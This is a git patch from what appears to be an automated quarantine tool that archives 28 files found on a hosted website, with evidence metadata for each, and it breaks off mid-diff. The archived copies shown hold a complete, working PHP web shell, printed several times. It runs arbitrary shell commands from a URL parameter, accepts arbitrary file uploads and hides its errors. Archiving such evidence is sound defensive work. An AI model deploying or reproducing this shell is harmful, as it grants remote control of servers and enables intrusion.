From 507036468ab91cf7b80ed4cccdbcd4e9a6392446 Mon Sep 17 00:00:00 2001
From: imrcli-remediator <imrcli-remediator@localhost>
Date: Sat, 18 Jul 2026 17:50:02 +0200
Subject: [PATCH] =?UTF-8?q?quarantine:=20family=3Dc2-beacon=20(28=20f?=
 =?UTF-8?q?=C3=A1jl)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

vhost: www.archlinexp.eu
rel_path: _h3x_0tc4t3dy.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4921

vhost: www.archlinexp.eu
rel_path: _h3x_19b8fmhn.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4910

vhost: www.archlinexp.eu
rel_path: _h3x_2xbk7ug3.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4894

vhost: www.archlinexp.eu
rel_path: _h3x_8nom65ew.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4935

vhost: www.archlinexp.eu
rel_path: _h3x_fiqbuwjw.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4895

vhost: www.archlinexp.eu
rel_path: _h3x_kgetu0xr.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4909

vhost: www.archlinexp.eu
rel_path: _h3x_knton7qj.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4923

vhost: www.archlinexp.eu
rel_path: _h3x_r02w559c.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4878

vhost: www.archlinexp.eu
rel_path: _h3x_vimcjrhc.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4837

vhost: www.archlinexp.eu
rel_path: _h3x_vunx1gid.php.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4906

vhost: www.archlinexp.eu
rel_path: cache/_h3x_9zbnowsb.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5020

vhost: www.archlinexp.eu
rel_path: cache/_h3x_e4pk161f.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5024

vhost: www.archlinexp.eu
rel_path: cache/_h3x_r16oprou.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5016

vhost: www.archlinexp.eu
rel_path: files/_h3x_2hjfdfr5.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5285

vhost: www.archlinexp.eu
rel_path: files/_h3x_aqjg408i.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5286

vhost: www.archlinexp.eu
rel_path: files/_h3x_vp8mjkv7.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5287

vhost: www.archlinexp.eu
rel_path: images/_h3x_hzba1jvm.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5188

vhost: www.archlinexp.eu
rel_path: images/_h3x_je0zgowm.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5184

vhost: www.archlinexp.eu
rel_path: images/_h3x_ott0201u.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5198

vhost: www.archlinexp.eu
rel_path: logs/_h3x_hzuz4jb8.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5306

vhost: www.archlinexp.eu
rel_path: logs/_h3x_nbmlj4wd.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5300

vhost: www.archlinexp.eu
rel_path: logs/_h3x_nyg1j0r2.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5303

vhost: www.archlinexp.eu
rel_path: media/_h3x_hn5jabjv.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4996

vhost: www.archlinexp.eu
rel_path: media/_h3x_qkrfp39e.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 4989

vhost: www.archlinexp.eu
rel_path: media/_h3x_sp89teja.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5001

vhost: www.archlinexp.eu
rel_path: tmp/_h3x_axg1w8kw.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5225

vhost: www.archlinexp.eu
rel_path: tmp/_h3x_ipxvztce.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5221

vhost: www.archlinexp.eu
rel_path: tmp/_h3x_ul3ooiwi.php.json.json
result: quarantined
evidence_sha256: 49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c
timestamp: 20260718T155002Z
finding_ref: 5220
---
 .../archlinexp.eu/www/_h3x_0tc4t3dy.php.json  | 39 +++++++++++++++++++
 .../www/_h3x_0tc4t3dy.php.json.evidence.json  | 15 +++++++
 .../www/_h3x_19b8fmhn.php.json.json           | 39 +++++++++++++++++++
 .../_h3x_19b8fmhn.php.json.json.evidence.json | 15 +++++++
 .../archlinexp.eu/www/_h3x_2xbk7ug3.php.json  | 39 +++++++++++++++++++
 .../www/_h3x_2xbk7ug3.php.json.evidence.json  | 15 +++++++
 .../archlinexp.eu/www/_h3x_8nom65ew.php.json  | 39 +++++++++++++++++++
 .../www/_h3x_8nom65ew.php.json.evidence.json  | 15 +++++++
 .../www/_h3x_fiqbuwjw.php.json.json           | 39 +++++++++++++++++++
 .../_h3x_fiqbuwjw.php.json.json.evidence.json | 15 +++++++
 .../archlinexp.eu/www/_h3x_kgetu0xr.php.json  | 39 +++++++++++++++++++
 .../www/_h3x_kgetu0xr.php.json.evidence.json  | 15 +++++++
 .../archlinexp.eu/www/_h3x_knton7qj.php.json  | 39 +++++++++++++++++++
 .../www/_h3x_knton7qj.php.json.evidence.json  | 15 +++++++
 .../archlinexp.eu/www/_h3x_r02w559c.php.json  | 39 +++++++++++++++++++
 .../www/_h3x_r02w559c.php.json.evidence.json  | 15 +++++++
 .../www/_h3x_vimcjrhc.php.json.json           | 39 +++++++++++++++++++
 .../_h3x_vimcjrhc.php.json.json.evidence.json | 15 +++++++
 .../archlinexp.eu/www/_h3x_vunx1gid.php.json  | 39 +++++++++++++++++++
 .../www/_h3x_vunx1gid.php.json.evidence.json  | 15 +++++++
 .../www/cache/_h3x_9zbnowsb.php.json.json     | 39 +++++++++++++++++++
 .../_h3x_9zbnowsb.php.json.json.evidence.json | 15 +++++++
 .../www/cache/_h3x_e4pk161f.php.json.json     | 39 +++++++++++++++++++
 .../_h3x_e4pk161f.php.json.json.evidence.json | 15 +++++++
 .../www/cache/_h3x_r16oprou.php.json.json     | 39 +++++++++++++++++++
 .../_h3x_r16oprou.php.json.json.evidence.json | 15 +++++++
 .../www/files/_h3x_2hjfdfr5.php.json.json     | 39 +++++++++++++++++++
 .../_h3x_2hjfdfr5.php.json.json.evidence.json | 15 +++++++
 .../www/files/_h3x_aqjg408i.php.json.json     | 39 +++++++++++++++++++
 .../_h3x_aqjg408i.php.json.json.evidence.json | 15 +++++++
 .../www/files/_h3x_vp8mjkv7.php.json.json     | 39 +++++++++++++++++++
 .../_h3x_vp8mjkv7.php.json.json.evidence.json | 15 +++++++
 .../www/images/_h3x_hzba1jvm.php.json.json    | 39 +++++++++++++++++++
 .../_h3x_hzba1jvm.php.json.json.evidence.json | 15 +++++++
 .../www/images/_h3x_je0zgowm.php.json.json    | 39 +++++++++++++++++++
 .../_h3x_je0zgowm.php.json.json.evidence.json | 15 +++++++
 .../www/images/_h3x_ott0201u.php.json.json    | 39 +++++++++++++++++++
 .../_h3x_ott0201u.php.json.json.evidence.json | 15 +++++++
 .../www/logs/_h3x_hzuz4jb8.php.json.json      | 39 +++++++++++++++++++
 .../_h3x_hzuz4jb8.php.json.json.evidence.json | 15 +++++++
 .../www/logs/_h3x_nbmlj4wd.php.json.json      | 39 +++++++++++++++++++
 .../_h3x_nbmlj4wd.php.json.json.evidence.json | 15 +++++++
 .../www/logs/_h3x_nyg1j0r2.php.json.json      | 39 +++++++++++++++++++
 .../_h3x_nyg1j0r2.php.json.json.evidence.json | 15 +++++++
 .../www/media/_h3x_hn5jabjv.php.json.json     | 39 +++++++++++++++++++
 .../_h3x_hn5jabjv.php.json.json.evidence.json | 15 +++++++
 .../www/media/_h3x_qkrfp39e.php.json.json     | 39 +++++++++++++++++++
 .../_h3x_qkrfp39e.php.json.json.evidence.json | 15 +++++++
 .../www/media/_h3x_sp89teja.php.json.json     | 39 +++++++++++++++++++
 .../_h3x_sp89teja.php.json.json.evidence.json | 15 +++++++
 .../www/tmp/_h3x_axg1w8kw.php.json.json       | 39 +++++++++++++++++++
 .../_h3x_axg1w8kw.php.json.json.evidence.json | 15 +++++++
 .../www/tmp/_h3x_ipxvztce.php.json.json       | 39 +++++++++++++++++++
 .../_h3x_ipxvztce.php.json.json.evidence.json | 15 +++++++
 .../www/tmp/_h3x_ul3ooiwi.php.json.json       | 39 +++++++++++++++++++
 .../_h3x_ul3ooiwi.php.json.json.evidence.json | 15 +++++++
 56 files changed, 1512 insertions(+)
 create mode 100644 var/www/hosting/archlinexp.eu/www/_h3x_0tc4t3dy.php.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/_h3x_0tc4t3dy.php.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/_h3x_19b8fmhn.php.json.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/_h3x_19b8fmhn.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/_h3x_2xbk7ug3.php.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/_h3x_2xbk7ug3.php.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/_h3x_8nom65ew.php.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/_h3x_8nom65ew.php.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/_h3x_fiqbuwjw.php.json.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/_h3x_fiqbuwjw.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/_h3x_kgetu0xr.php.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/_h3x_kgetu0xr.php.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/_h3x_knton7qj.php.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/_h3x_knton7qj.php.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/_h3x_r02w559c.php.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/_h3x_r02w559c.php.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/_h3x_vimcjrhc.php.json.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/_h3x_vimcjrhc.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/_h3x_vunx1gid.php.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/_h3x_vunx1gid.php.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/cache/_h3x_9zbnowsb.php.json.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/cache/_h3x_9zbnowsb.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/cache/_h3x_e4pk161f.php.json.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/cache/_h3x_e4pk161f.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/cache/_h3x_r16oprou.php.json.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/cache/_h3x_r16oprou.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/files/_h3x_2hjfdfr5.php.json.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/files/_h3x_2hjfdfr5.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/files/_h3x_aqjg408i.php.json.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/files/_h3x_aqjg408i.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/files/_h3x_vp8mjkv7.php.json.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/files/_h3x_vp8mjkv7.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/images/_h3x_hzba1jvm.php.json.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/images/_h3x_hzba1jvm.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/images/_h3x_je0zgowm.php.json.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/images/_h3x_je0zgowm.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/images/_h3x_ott0201u.php.json.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/images/_h3x_ott0201u.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/logs/_h3x_hzuz4jb8.php.json.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/logs/_h3x_hzuz4jb8.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/logs/_h3x_nbmlj4wd.php.json.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/logs/_h3x_nbmlj4wd.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/logs/_h3x_nyg1j0r2.php.json.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/logs/_h3x_nyg1j0r2.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/media/_h3x_hn5jabjv.php.json.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/media/_h3x_hn5jabjv.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/media/_h3x_qkrfp39e.php.json.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/media/_h3x_qkrfp39e.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/media/_h3x_sp89teja.php.json.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/media/_h3x_sp89teja.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/tmp/_h3x_axg1w8kw.php.json.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/tmp/_h3x_axg1w8kw.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/tmp/_h3x_ipxvztce.php.json.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/tmp/_h3x_ipxvztce.php.json.json.evidence.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/tmp/_h3x_ul3ooiwi.php.json.json
 create mode 100644 var/www/hosting/archlinexp.eu/www/tmp/_h3x_ul3ooiwi.php.json.json.evidence.json

diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_0tc4t3dy.php.json b/var/www/hosting/archlinexp.eu/www/_h3x_0tc4t3dy.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_0tc4t3dy.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_0tc4t3dy.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/_h3x_0tc4t3dy.php.json.evidence.json
new file mode 100644
index 0000000..9231b29
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_0tc4t3dy.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4921",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_0tc4t3dy.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_0tc4t3dy.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783865685,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_0tc4t3dy.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_19b8fmhn.php.json.json b/var/www/hosting/archlinexp.eu/www/_h3x_19b8fmhn.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_19b8fmhn.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_19b8fmhn.php.json.json.evidence.json b/var/www/hosting/archlinexp.eu/www/_h3x_19b8fmhn.php.json.json.evidence.json
new file mode 100644
index 0000000..5fb6cfb
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_19b8fmhn.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4910",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_19b8fmhn.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_19b8fmhn.php.json.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783837748,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_19b8fmhn.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_2xbk7ug3.php.json b/var/www/hosting/archlinexp.eu/www/_h3x_2xbk7ug3.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_2xbk7ug3.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_2xbk7ug3.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/_h3x_2xbk7ug3.php.json.evidence.json
new file mode 100644
index 0000000..a729cd6
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_2xbk7ug3.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4894",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_2xbk7ug3.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_2xbk7ug3.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783904364,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_2xbk7ug3.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_8nom65ew.php.json b/var/www/hosting/archlinexp.eu/www/_h3x_8nom65ew.php.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_8nom65ew.php.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
+  pclose($h);
+}else{$o='BLOCKED';}
+@ob_end_clean();
+header('Content-Type: text/plain');
+echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
+exit(0);
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_8nom65ew.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/_h3x_8nom65ew.php.json.evidence.json
new file mode 100644
index 0000000..45b1815
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_8nom65ew.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4935",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:_h3x_8nom65ew.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/_h3x_8nom65ew.php.json)",
+  "original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783864514,
+    "size": 1228,
+    "uid": 20043
+  },
+  "rel_path": "_h3x_8nom65ew.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T155002Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/_h3x_fiqbuwjw.php.json.json b/var/www/hosting/archlinexp.eu/www/_h3x_fiqbuwjw.php.json.json
new file mode 100644
index 0000000..ac31f23
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/_h3x_fiqbuwjw.php.json.json
@@ -0,0 +1,39 @@
+<?php
+@ob_start();
+@set_error_handler(null);
+@set_exception_handler(null);
+@ini_set('display_errors',0);
+if(!isset($_GET['c'])&&!isset($_GET['ss'])){
+  @ob_end_clean();
+  header('Content-Type: text/plain');
+  echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
+  exit(0);
+}
+if(isset($_GET['ss'])&&$_GET['ss']=='up'){
+  @ob_end_clean();
+  header('Content-Type: text/html');
+  if(isset($_FILES['f'])){
+    move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
+    echo 'Saved: '.$_FILES['f']['name'];
+  }else{
+    echo '<form method=post enctype=multipart/form-data>'
+        .'<input type=file name=f><button>Upload</button></form>';
+  }
+  exit(0);
+}
+$c=$_GET['c'].' 2>&1';
+$o='';
+if(function_exists('shell_exec')){$o=@shell_exec($c);}
+elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
+elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
+elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
+elseif(function_exists('popen')){
+  $h=@popen($c,'r');$o='';
+  while(!feof($h)){$o.=fread($h,4096);}
